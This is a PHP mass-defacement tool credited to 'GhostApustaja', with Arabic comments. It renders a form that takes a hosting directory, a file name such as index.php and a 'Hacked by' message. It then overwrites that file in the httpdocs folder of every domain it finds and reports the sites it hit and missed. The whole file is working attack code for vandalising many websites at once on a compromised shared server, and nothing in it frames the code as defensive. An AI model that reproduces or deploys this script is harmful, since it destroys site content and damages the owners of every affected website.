<?php

echo "<title>Folder Mass Defacer by GhostApustaja</title>";
echo "<link href='http://fonts.googleapis.com/css?family=Electrolize' rel='stylesheet' type='text/css'>";
echo "<body bgcolor='gray'><font color=black'><font face='Electrolize'>";
echo "<center><form method='POST'>";
echo "<img src='https://avatars0.githubusercontent.com/u/67878210?s=460&u=db3c78a4e597a3c178b6fe76c0f6eb7907d2c5d3&v=4'>
<hr color='black'><font color='black'>Target Folder</font><br>
<input type='text' style='color:lime;background-color:#000000' name='base_dir' value='/home/u885596692/domains/'><br><br>";
echo "<font color='black'>Name of File</font><br><input type='text' style='color:lime;background-color:#000000' name='andela' value='index.php'><br>";
echo "<font color='black'>Script Deface</font><br><textarea cols='25' rows='8' style='color:lime;background-color:#000000;' name='index'>Hacked by GhostApustaja</textarea><br>";
echo "<input type='submit' value='Mass !!!'></form></center>";

if (isset($_POST['base_dir'])) {
    $base_dir = rtrim($_POST['base_dir'], '/') . '/'; // ضمان عدم وجود فراغات في نهاية المسار
    if (!file_exists($base_dir)) {
        die("$base_dir Not Found !<br>");
    }

    if (!is_dir($base_dir)) {
        die("$base_dir Is Not A Directory !<br>");
    }

    $domains = @scandir($base_dir) or die("Cannot scan directory<br>");
    $success_count = 0; // عداد لعدد الدومينات التي تم الرفع فيها
    $fail_count = 0; // عداد للأخطاء

    foreach ($domains as $domain) {
        if ($domain != "." && $domain != "..") {
            $httpdocs = $base_dir . $domain . "/httpdocs";
            if (is_dir($httpdocs)) {
                $file_path = $httpdocs . "/" . $_POST['andela'];
                if (file_put_contents($file_path, $_POST['index']) !== false) {
                    echo "<hr color='black'>>> <font color='black'>$file_path&nbsp&nbsp&nbsp&nbsp</font><font color='lime'>(✔)</font><br>";
                    $success_count++;
                } else {
                    echo "<hr color='black'>>> <font color='black'>$file_path&nbsp&nbsp&nbsp&nbsp</font><font color='red'>(✘ Failed)</font><br>";
                    $fail_count++;
                }
            }
        }
    }

    echo "<br><b>تم الرفع في $success_count دومين</b><br>";
    if ($fail_count > 0) {
        echo "<b>فشل الرفع في $fail_count دومين</b><br>";
    }
}

?>
